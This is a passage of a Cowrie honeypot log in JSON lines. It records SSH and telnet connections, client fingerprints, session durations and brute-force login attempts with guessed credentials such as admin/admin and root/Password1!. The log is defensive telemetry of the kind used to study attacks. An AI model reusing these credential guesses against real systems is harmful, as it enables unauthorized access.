a1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:38.223485Z","src_ip":"130.12.180.51","session":"a2a95df38b65","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:38.470556Z","src_ip":"130.12.180.51","session":"a2a95df38b65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:39.004260Z","src_ip":"130.12.180.51","session":"a2a95df38b65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59374,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd028f84194d","protocol":"telnet","message":"New connection: 64.227.101.30:59374 (10.17.0.5:23) [session: fd028f84194d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:42.419528Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":51994,"dst_ip":"159.203.135.109","dst_port":23,"session":"29109d54be80","protocol":"telnet","message":"New connection: 68.183.198.12:51994 (159.203.135.109:23) [session: 29109d54be80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:43.427577Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50108,"dst_ip":"10.17.0.5","dst_port":23,"session":"3684b18d30b8","protocol":"telnet","message":"New connection: 64.227.101.30:50108 (10.17.0.5:23) [session: 3684b18d30b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:52.476089Z"}
{"eventid":"cowrie.session.closed","duration":0.6208677291870117,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:53.096815Z","src_ip":"64.227.101.30","session":"3684b18d30b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.8379430770874,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:08.341494Z","src_ip":"64.227.101.30","session":"4de97211db2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37500,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cf9d31f5de9","protocol":"telnet","message":"New connection: 64.227.101.30:37500 (10.17.0.5:23) [session: 4cf9d31f5de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:11.171740Z"}
{"eventid":"cowrie.session.closed","duration":41.13245224952698,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:11.287730Z","src_ip":"64.227.101.30","session":"10a66661de46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":55142,"dst_ip":"159.203.135.109","dst_port":23,"session":"6975cfee238e","protocol":"telnet","message":"New connection: 68.183.198.12:55142 (159.203.135.109:23) [session: 6975cfee238e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:11.438875Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45020,"dst_ip":"10.17.0.5","dst_port":23,"session":"6051f6feab16","protocol":"telnet","message":"New connection: 64.227.101.30:45020 (10.17.0.5:23) [session: 6051f6feab16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:12.427088Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":55020,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef3e88ff3ad9","protocol":"telnet","message":"New connection: 68.183.198.12:55020 (159.203.135.109:23) [session: ef3e88ff3ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:12.790799Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47672,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a506006dffa","protocol":"telnet","message":"New connection: 64.227.101.30:47672 (10.17.0.5:23) [session: 7a506006dffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:13.887462Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46162,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b88b3db67f4","protocol":"telnet","message":"New connection: 64.227.101.30:46162 (10.17.0.5:23) [session: 6b88b3db67f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:14.212679Z"}
{"eventid":"cowrie.session.closed","duration":2.5392231941223145,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:15.329915Z","src_ip":"68.183.198.12","session":"ef3e88ff3ad9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49686,"dst_ip":"10.17.0.5","dst_port":23,"session":"f83816fade3e","protocol":"telnet","message":"New connection: 64.227.101.30:49686 (10.17.0.5:23) [session: f83816fade3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:16.310562Z"}
{"eventid":"cowrie.session.closed","duration":37.11122393608093,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:19.530637Z","src_ip":"64.227.101.30","session":"fd028f84194d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":49208,"dst_ip":"10.17.0.5","dst_port":22,"session":"f86541ae1d27","protocol":"ssh","message":"New connection: 78.40.217.56:49208 (10.17.0.5:22) [session: f86541ae1d27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:19.771520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:19.777232Z","src_ip":"78.40.217.56","session":"f86541ae1d27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:19.932246Z","src_ip":"78.40.217.56","session":"f86541ae1d27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"walter","message":"login attempt [root/walter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:20.580190Z","src_ip":"78.40.217.56","session":"f86541ae1d27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:21.737775Z","src_ip":"78.40.217.56","session":"f86541ae1d27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52910,"dst_ip":"10.17.0.5","dst_port":23,"session":"819cc80924db","protocol":"telnet","message":"New connection: 64.227.101.30:52910 (10.17.0.5:23) [session: 819cc80924db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:22.883576Z"}
{"eventid":"cowrie.session.closed","duration":61.409828901290894,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:22.914625Z","src_ip":"64.227.101.30","session":"0d2d566ba4be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55076,"dst_ip":"10.17.0.5","dst_port":23,"session":"651205d6750e","protocol":"telnet","message":"New connection: 64.227.101.30:55076 (10.17.0.5:23) [session: 651205d6750e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:25.563748Z"}
{"eventid":"cowrie.session.closed","duration":42.59213876724243,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:26.019521Z","src_ip":"68.183.198.12","session":"29109d54be80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35328,"dst_ip":"10.17.0.5","dst_port":23,"session":"e88d2c672e74","protocol":"telnet","message":"New connection: 64.227.101.30:35328 (10.17.0.5:23) [session: e88d2c672e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:41.658749Z"}
{"eventid":"cowrie.session.closed","duration":36.782246351242065,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:50.669585Z","src_ip":"64.227.101.30","session":"7a506006dffa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":33690,"dst_ip":"159.203.135.109","dst_port":23,"session":"68039c7fe992","protocol":"telnet","message":"New connection: 68.183.198.12:33690 (159.203.135.109:23) [session: 68039c7fe992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:51.212690Z"}
{"eventid":"cowrie.session.closed","duration":45.70174241065979,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:58.128736Z","src_ip":"64.227.101.30","session":"6051f6feab16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.05451726913452,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:41:59.937977Z","src_ip":"64.227.101.30","session":"819cc80924db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.68241572380066,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:42:02.992875Z","src_ip":"64.227.101.30","session":"f83816fade3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44076,"dst_ip":"10.17.0.5","dst_port":23,"session":"14e5dbed7851","protocol":"telnet","message":"New connection: 64.227.101.30:44076 (10.17.0.5:23) [session: 14e5dbed7851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:42:08.316233Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46238,"dst_ip":"10.17.0.5","dst_port":23,"session":"d90ffb056e2d","protocol":"telnet","message":"New connection: 64.227.101.30:46238 (10.17.0.5:23) [session: d90ffb056e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:42:13.182618Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":60142,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7de42c53667","protocol":"ssh","message":"New connection: 78.40.217.56:60142 (10.17.0.5:22) [session: f7de42c53667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:42:15.296591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:42:15.301476Z","src_ip":"78.40.217.56","session":"f7de42c53667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:42:15.449693Z","src_ip":"78.40.217.56","session":"f7de42c53667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1!","message":"login attempt [root/Password1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:42:16.069487Z","src_ip":"78.40.217.56","session":"f7de42c53667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.22116446495056,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:42:16.784784Z","src_ip":"64.227.101.30","session":"651205d6750e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:42:17.221633Z","src_ip":"78.40.217.56","session":"f7de42c53667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.105520725250244,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:42:22.764180Z","src_ip":"64.227.101.30","session":"e88d2c672e74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":78.02909231185913,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:42:29.200706Z","src_ip":"64.227.101.30","session":"4cf9d31f5de9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.89949131011963,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:42:33.112097Z","src_ip":"68.183.198.12","session":"68039c7fe992","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.206156492233276,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:42:41.522210Z","src_ip":"64.227.101.30","session":"14e5dbed7851","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53410,"dst_ip":"10.17.0.5","dst_port":23,"session":"b04a99888bb7","protocol":"telnet","message":"New connection: 64.227.101.30:53410 (10.17.0.5:23) [session: b04a99888bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:42:46.435862Z"}
{"eventid":"cowrie.session.closed","duration":93.86160278320312,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:42:48.074160Z","src_ip":"64.227.101.30","session":"6b88b3db67f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.46236872673035,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:42:48.644844Z","src_ip":"64.227.101.30","session":"d90ffb056e2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54654,"dst_ip":"10.17.0.5","dst_port":23,"session":"38447cbd7865","protocol":"telnet","message":"New connection: 64.227.101.30:54654 (10.17.0.5:23) [session: 38447cbd7865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:42:50.467331Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53528,"dst_ip":"10.17.0.5","dst_port":23,"session":"904b46dbd5da","protocol":"telnet","message":"New connection: 64.227.101.30:53528 (10.17.0.5:23) [session: 904b46dbd5da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:00.227695Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":34946,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6a622294887","protocol":"ssh","message":"New connection: 78.40.217.56:34946 (10.17.0.5:22) [session: d6a622294887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:08.677219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:08.681715Z","src_ip":"78.40.217.56","session":"d6a622294887","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60250,"dst_ip":"10.17.0.5","dst_port":23,"session":"116f85520ce0","protocol":"telnet","message":"New connection: 64.227.101.30:60250 (10.17.0.5:23) [session: 116f85520ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:08.796461Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:08.818538Z","src_ip":"78.40.217.56","session":"d6a622294887","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aw123123","message":"login attempt [root/Aw123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:09.390906Z","src_ip":"78.40.217.56","session":"d6a622294887","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:10.529254Z","src_ip":"78.40.217.56","session":"d6a622294887","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":45044,"dst_ip":"159.203.135.109","dst_port":23,"session":"8414b9bcc981","protocol":"telnet","message":"New connection: 68.183.198.12:45044 (159.203.135.109:23) [session: 8414b9bcc981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:10.757734Z"}
{"eventid":"cowrie.session.closed","duration":120.00172424316406,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:11.440505Z","src_ip":"68.183.198.12","session":"6975cfee238e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.919724464416504,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:12.677355Z","src_ip":"68.183.198.12","session":"8414b9bcc981","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34178,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d406b4fd10c","protocol":"telnet","message":"New connection: 64.227.101.30:34178 (10.17.0.5:23) [session: 7d406b4fd10c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:13.985067Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36834,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb2db1eb30a8","protocol":"telnet","message":"New connection: 64.227.101.30:36834 (10.17.0.5:23) [session: bb2db1eb30a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:21.003678Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":48302,"dst_ip":"159.203.135.109","dst_port":23,"session":"d68e25492816","protocol":"telnet","message":"New connection: 68.183.198.12:48302 (159.203.135.109:23) [session: d68e25492816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:25.267021Z"}
{"eventid":"cowrie.session.closed","duration":39.28546094894409,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:25.721177Z","src_ip":"64.227.101.30","session":"b04a99888bb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":50172,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a0dabddfc58","protocol":"telnet","message":"New connection: 68.183.198.12:50172 (159.203.135.109:23) [session: 8a0dabddfc58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:38.012883Z"}
{"eventid":"cowrie.session.closed","duration":51.09393286705017,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:41.561178Z","src_ip":"64.227.101.30","session":"38447cbd7865","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.141358852386475,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:42.368914Z","src_ip":"64.227.101.30","session":"904b46dbd5da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":50308,"dst_ip":"159.203.135.109","dst_port":23,"session":"51d665225bdf","protocol":"telnet","message":"New connection: 68.183.198.12:50308 (159.203.135.109:23) [session: 51d665225bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:42.864592Z"}
{"eventid":"cowrie.session.closed","duration":39.5056574344635,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:43:48.301991Z","src_ip":"64.227.101.30","session":"116f85520ce0","protocol":"telnet"}
